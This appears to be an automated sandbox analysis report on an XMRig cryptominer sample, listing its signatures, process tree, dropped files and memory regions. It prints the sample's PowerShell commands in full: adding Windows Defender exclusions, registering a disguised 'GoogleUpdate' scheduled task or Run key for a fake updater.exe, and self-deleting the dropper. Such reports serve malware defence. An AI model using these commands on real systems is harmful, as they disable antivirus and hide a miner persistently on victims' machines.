Resubmissions

11/02/2025, 16:33

250211-t2ztsstkey10

11/02/2025, 16:33

250211-t2zh2atkex10

11/02/2025, 16:33

250211-t2yxhatkew10

11/02/2025, 16:33

250211-t2nrjasqdk10

24/10/2024, 20:12

241024-yyvg5asemn10

24/10/2024, 20:11

241024-yygk9ssemk10

24/10/2024, 20:11

241024-yygahasemj10

24/10/2024, 20:11

241024-yyd55sselq10

24/10/2024, 20:08

241024-yw247asdqp10

24/10/2024, 20:08

241024-yw1lcssdqn10

Analysis

  • max time kernel
    899s
  • max time network
    898s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250211-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250211-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/02/2025, 16:33

General

  • Target
    grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
  • Size 2.0MB
  • Sample250211-t2ztsstkey
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 4 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3468
      • C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe
        "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:4684
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5044
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2724
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2988
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:60
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (17) - K.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1908
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:2016
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:2652
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4952
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:1712
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:3416
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:1804
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:3684
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:4284
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2144
          • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
            "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ua /installsource scheduler
            1⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:4736

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 2.0MB
                • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 2d2f364c75bd2897504249f42cdf1d19374f5230aad68fa9154ea3d03e3031a6
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 6e9ec7c6f9ddde44efc72e597fca8e431ef2163ac35683575d0382021b6c8b9a
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_ijx1tdqg.ozr.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ijx1tdqg.ozr.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/1712-110-0x00007FF67F750000-0x00007FF67F766000-memory.dmp

                memory/1712-105-0x00007FF67F750000-0x00007FF67F766000-memory.dmp

                memory/2144-45-0x00007FF70B290000-0x00007FF70B4A1000-memory.dmp

                memory/2144-103-0x00007FF70B290000-0x00007FF70B4A1000-memory.dmp

                memory/2652-64-0x000001ECF1840000-0x000001ECF185C000-memory.dmp

                memory/2652-65-0x000001ECF1860000-0x000001ECF1915000-memory.dmp

                memory/2652-66-0x000001ECF1920000-0x000001ECF192A000-memory.dmp

                memory/2652-67-0x000001ECF1A90000-0x000001ECF1AAC000-memory.dmp

                memory/2652-68-0x000001ECF1A70000-0x000001ECF1A7A000-memory.dmp

                memory/2652-69-0x000001ECF1AD0000-0x000001ECF1AEA000-memory.dmp

                memory/2652-70-0x000001ECF1A80000-0x000001ECF1A88000-memory.dmp

                memory/2652-71-0x000001ECF1AB0000-0x000001ECF1AB6000-memory.dmp

                memory/2652-72-0x000001ECF1AC0000-0x000001ECF1ACA000-memory.dmp

                memory/2724-30-0x00007FFD1C9D0000-0x00007FFD1D491000-memory.dmp

                memory/2724-28-0x00007FFD1C9D0000-0x00007FFD1D491000-memory.dmp

                memory/2724-27-0x00007FFD1C9D0000-0x00007FFD1D491000-memory.dmp

                memory/2724-16-0x00007FFD1C9D0000-0x00007FFD1D491000-memory.dmp

                memory/4284-109-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-133-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-104-0x0000022AEEF20000-0x0000022AEEF40000-memory.dmp

                memory/4284-107-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-106-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-163-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-161-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-159-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-111-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-113-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-115-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-117-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-119-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-121-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-123-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-125-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-127-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-129-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-131-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-102-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-135-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-137-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-139-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-141-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-143-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-145-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-147-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-149-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-151-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-153-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-155-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4284-157-0x00007FF778B90000-0x00007FF779384000-memory.dmp

                memory/4684-0-0x00007FF64BDF0000-0x00007FF64C001000-memory.dmp

                memory/4684-32-0x00007FF64BDF0000-0x00007FF64C001000-memory.dmp

                memory/5044-1-0x00007FFD1C9D3000-0x00007FFD1C9D5000-memory.dmp

                memory/5044-4-0x000001E9EC9C0000-0x000001E9EC9E2000-memory.dmp

                memory/5044-12-0x00007FFD1C9D0000-0x00007FFD1D491000-memory.dmp

                memory/5044-13-0x00007FFD1C9D0000-0x00007FFD1D491000-memory.dmp

                memory/5044-15-0x00007FFD1C9D0000-0x00007FFD1D491000-memory.dmp